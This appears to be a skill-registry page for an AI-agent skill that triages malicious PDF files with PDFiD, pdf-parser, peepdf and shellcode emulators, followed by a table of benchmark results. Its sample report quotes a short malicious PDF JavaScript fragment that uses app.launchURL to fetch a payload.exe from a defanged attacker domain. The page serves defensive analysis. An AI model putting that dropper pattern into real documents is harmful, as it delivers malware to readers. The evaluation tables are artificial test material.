Install any skill in seconds. Free to start, no credit card required.
Get Started Free →Analyzes malicious PDF files using PDFiD, pdf-parser, and peepdf to identify embedded JavaScript, shellcode, exploits, and suspicious objects without opening the document. Determines the attack vector and extracts embedded payloads for further analysis. Activates for requests involving PDF malware analysis, malicious document analysis, PDF exploit investigation, or suspicious attachment triage.
.claude/skills/analyzing-pdf-malware-with-pdfid/SKILL.md| Test case | Without → With | Effect | Δ tokens | Δ turns |
|---|---|---|---|---|
| case-23 | ✗→✓ | ▲ Improved | — | — |
| case-08 | ✗→✓ | ▲ Improved | — | — |
| case-01 | ✗→✓ | ▲ Improved | — | — |
| case-18 | ✗→✓ | ▲ Improved | — | — |
| case-24 | ✓→✓ | = Same ✓ | — | — |
Do not use for analyzing the rendered visual content of a PDF; this is for structural analysis of the PDF file format for malicious objects.
pip install pdfid pdf-parser)pip install peepdf)Scan the PDF for suspicious keywords and structures:
bash# Run PDFiD to identify suspicious elements pdfid suspect.pdf # Expected output analysis: # /JS - JavaScript (HIGH risk) # /JavaScript - JavaScript object (HIGH risk) # /AA - Auto-Action triggered on open (HIGH risk) # /OpenAction - Action on document open (HIGH risk) # /Launch - Launch external application (HIGH risk) # /EmbeddedFile - Embedded file (MEDIUM risk) # /RichMedia - Flash content (MEDIUM risk) # /ObjStm - Object stream (used for obfuscation) # /URI - URL reference (contextual risk) # /AcroForm - Interactive form (MEDIUM risk) # Run with extra detail pdfid -e suspect.pdf # Run with disarming (rename suspicious keywords) pdfid -d suspect.pdf
PDFiD Risk Assessment:
━━━━━━━━━━━━━━━━━━━━━
HIGH RISK indicators (any count > 0):
/JS, /JavaScript -> Embedded JavaScript code
/AA -> Automatic Action (triggers without user interaction)
/OpenAction -> Code runs when document is opened
/Launch -> Can launch external executables
/JBIG2Decode -> Associated with CVE-2009-0658 exploit
MEDIUM RISK indicators:
/EmbeddedFile -> Contains embedded files (could be EXE/DLL)
/RichMedia -> Flash/multimedia (Flash exploits)
/AcroForm -> Form with possible submit action
/XFA -> XML Forms Architecture (complex attack surface)
LOW RISK indicators:
/ObjStm -> Object streams (obfuscation technique)
/URI -> External URL references
/Page -> Number of pages (context only)Examine suspicious objects identified by PDFiD:
bash# List all objects referencing JavaScript pdf-parser --search "/JavaScript" suspect.pdf pdf-parser --search "/JS" suspect.pdf # List all objects with OpenAction pdf-parser --search "/OpenAction" suspect.pdf # Extract a specific object by ID (example: object 5) pdf-parser --object 5 suspect.pdf # Extract and decompress stream content pdf-parser --object 5 --filter --raw suspect.pdf # Search for embedded files pdf-parser --search "/EmbeddedFile" suspect.pdf # List all objects with their types pdf-parser --stats suspect.pdf
Pull out JavaScript code from PDF objects:
bash# Extract JavaScript using pdf-parser pdf-parser --search "/JS" --raw --filter suspect.pdf > extracted_js.txt # Alternative: Use peepdf for interactive JavaScript extraction peepdf -f -i suspect.pdf << 'EOF' js_analyse EOF # peepdf interactive commands for JS analysis: # js_analyse - Extract and show all JavaScript code # js_beautify - Format extracted JavaScript # js_eval <object> - Evaluate JavaScript in sandboxed environment # object <id> - Display object content # rawobject <id> - Display raw object bytes # stream <id> - Display decompressed stream # offsets - Show object offsets in file
python# Python script for comprehensive PDF JavaScript extraction import subprocess import re # Extract all streams and search for JavaScript result = subprocess.run( ["pdf-parser", "--stats", "suspect.pdf"], capture_output=True, text=True ) # Find object IDs containing JavaScript references js_objects = [] for line in result.stdout.split('\n'): if '/JavaScript' in line or '/JS' in line: obj_id = re.search(r'obj (\d+)', line) if obj_id: js_objects.append(obj_id.group(1)) # Extract each JavaScript-containing object for obj_id in js_objects: result = subprocess.run( ["pdf-parser", "--object", obj_id, "--filter", "--raw", "suspect.pdf"], capture_output=True, text=True ) print(f"\n=== Object {obj_id} ===") print(result.stdout[:2000])
Extract and examine shellcode from PDF exploits:
bash# Extract raw stream data for shellcode analysis pdf-parser --object 7 --filter --raw --dump shellcode.bin suspect.pdf # Analyze shellcode with scdbg (shellcode debugger) scdbg /f shellcode.bin # Alternative: Use speakeasy for shellcode emulation python3 -c " import speakeasy se = speakeasy.Speakeasy() sc_addr = se.load_shellcode('shellcode.bin', arch='x86') se.run_shellcode(sc_addr, count=1000) # Review API calls made by shellcode for event in se.get_report()['api_calls']: print(f\"{event['api']}: {event['args']}\") " # Use CyberChef to decode hex/base64 encoded shellcode # Input: Extracted stream data # Recipe: From Hex -> Disassemble x86
Pull out embedded executables and linked resources:
python# Extract embedded files from PDF import subprocess import hashlib # Find embedded file objects result = subprocess.run( ["pdf-parser", "--search", "/EmbeddedFile", "--raw", "--filter", "suspect.pdf"], capture_output=True ) # Extract embedded PE files by searching for MZ header with open("suspect.pdf", "rb") as f: data = f.read() # Search for embedded PE files offset = 0 while True: pos = data.find(b'MZ', offset) if pos == -1: break # Verify PE signature if pos + 0x3C < len(data): pe_offset = int.from_bytes(data[pos+0x3C:pos+0x40], 'little') if pos + pe_offset + 2 < len(data) and data[pos+pe_offset:pos+pe_offset+2] == b'PE': print(f"Embedded PE found at offset 0x{pos:X}") # Extract (estimate size or use PE header) embedded = data[pos:pos+100000] # Initial extraction sha256 = hashlib.sha256(embedded).hexdigest() with open(f"embedded_{pos:X}.exe", "wb") as out: out.write(embedded) print(f" SHA-256: {sha256}") offset = pos + 1 # Extract URLs from PDF result = subprocess.run( ["pdf-parser", "--search", "/URI", "--raw", "suspect.pdf"], capture_output=True, text=True ) urls = re.findall(r'(https?://[^\s<>"]+)', result.stdout) for url in set(urls): print(f"URL: {url}")
Document all findings from the PDF analysis:
Analysis should cover:
- PDFiD triage results (suspicious keyword counts)
- PDF structure anomalies (object streams, cross-reference issues)
- Extracted JavaScript code (deobfuscated if needed)
- Shellcode analysis results (API calls, network indicators)
- Embedded files extracted with hashes
- URLs and external references
- CVE identification if a known exploit is detected
- YARA rule matches against known PDF malware families| Term | Definition | |------|------------| | PDF Object | Basic building block of a PDF file; objects can contain streams (compressed data), dictionaries, arrays, and references to other objects | | OpenAction | PDF dictionary entry specifying an action to execute when the document is opened; commonly used to trigger JavaScript exploits | | PDF Stream | Compressed data within a PDF object that can contain JavaScript, images, embedded files, or shellcode; typically FlateDecode compressed | | FlateDecode | Zlib/deflate compression filter applied to PDF streams; must be decompressed to analyze contents | | ObjStm (Object Stream) | PDF feature storing multiple objects within a single compressed stream; used by malware to hide suspicious objects from simple parsers | | JBIG2 | Image compression standard in PDFs; historical source of exploits (CVE-2009-0658, CVE-2021-30860 FORCEDENTRY) | | PDF JavaScript API | Adobe-specific JavaScript extensions available in PDF documents for form manipulation, network access, and OS interaction |
Context: Email gateway flagged a PDF attachment with suspicious JavaScript indicators. The security team needs to determine if it contains an exploit or a social engineering redirect.
Approach:
Pitfalls:
PDF MALWARE ANALYSIS REPORT
==============================
File: invoice_2025.pdf
SHA-256: e3b0c44298fc1c149afbf4c8996fb924...
File Size: 45,312 bytes
PDF Version: 1.7
PDFID TRIAGE
/JS: 1 [HIGH RISK]
/JavaScript: 1 [HIGH RISK]
/OpenAction: 1 [HIGH RISK]
/EmbeddedFile: 0
/Launch: 0
/URI: 2
/Page: 1
/ObjStm: 1 [OBFUSCATION]
SUSPICIOUS OBJECTS
Object 5: /OpenAction -> references Object 8
Object 8: /JavaScript stream (FlateDecode, 2,847 bytes decompressed)
Object 12: /ObjStm containing objects 15-18
EXTRACTED JAVASCRIPT
Layer 1: eval(unescape("%68%65%6C%6C%6F"))
Layer 2: var url = "hxxp://malicious[.]com/payload.exe";
app.launchURL(url, true);
// Social engineering redirect, not exploit
EXTRACTED IOCs
URLs: hxxp://malicious[.]com/payload.exe
hxxps://fake-login[.]com/adobe/verify
Domains: malicious[.]com, fake-login[.]com
CLASSIFICATION
Type: Social Engineering (URL redirect)
CVE: None (no exploit code detected)
Risk: HIGH (downloads executable payload)
Family: Generic PDF Dropper| Case | Status | Duration (ms) | Turns | Tokens | Tool calls | ||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
| Without | With | Δ | Without | With | Δ | Without | With | Δ | Without | With | Δ | ||
case-24 | pass→pass | — | — | — | — | — | — | — | — | — | — | — | — |
case-19 | fail→fail | — | — | — | — | — | — | — | — | — | — | — | — |
case-23 | fail→pass | — | — | — | — | — | — | — | — | — | — | — | — |
case-20 | fail→fail | — | — | — | — | — | — | — | — | — | — | — | — |
case-21 | fail→fail | — | — | — | — | — | — | — | — | — | — | — | — |
case-17 | fail→fail | — | — | — | — | — | — | — | — | — | — | — | — |
case-25 | fail→fail | — | — | — | — | — | — | — | — | — | — | — | — |
case-22 | fail→fail | — | — | — | — | — | — | — | — | — | — | — | — |
case-06 | fail→fail | — | — | — | — | — | — | — | — | — | — | — | — |
case-08 | fail→pass | — | — | — | — | — | — | — | — | — | — | — | — |
case-09 | fail→fail | — | — | — | — | — | — | — | — | — | — | — | — |
case-03 | fail→fail | — | — | — | — | — | — | — | — | — | — | — | — |
case-07 | fail→fail | — | — | — | — | — | — | — | — | — | — | — | — |
case-11 | fail→fail | — | — | — | — | — | — | — | — | — | — | — | — |
case-02 | fail→fail | — | — | — | — | — | — | — | — | — | — | — | — |
case-04 | fail→fail | — | — | — | — | — | — | — | — | — | — | — | — |
case-01 | fail→pass | — | — | — | — | — | — | — | — | — | — | — | — |
case-14 | fail→fail | — | — | — | — | — | — | — | — | — | — | — | — |
case-13 | fail→fail | — | — | — | — | — | — | — | — | — | — | — | — |
case-05 | fail→fail | — | — | — | — | — | — | — | — | — | — | — | — |
case-10 | fail→fail | — | — | — | — | — | — | — | — | — | — | — | — |
case-12 | pass→pass | — | — | — | — | — | — | — | — | — | — | — | — |
case-15 | fail→fail | — | — | — | — | — | — | — | — | — | — | — | — |
case-16 | fail→fail | — | — | — | — | — | — | — | — | — | — | — | — |
case-18 | fail→pass | — | — | — | — | — | — | — | — | — | — | — | — |
DecimalAI ran this skill against gemini-3.6-flash twice over the same eval suite — once with the skill loaded and once without — and compared the two runs case by case. 25 cases were attempted, and 24 counted toward the lift figure. The other 1 produced results that are not comparable between the two arms, so they are excluded from the headline rather than averaged into it. The headline lift of +16 percentage points is the difference between those two pass rates over the 24 comparable cases.
The per-case answers from this run were removed by the retention sweep, so the case table below shows the verdicts without the text either arm produced. The counts above were recorded at the time and are unaffected. Answers are now kept for 180 days.
Other measured skills in the registry, with their headline benchmark lift.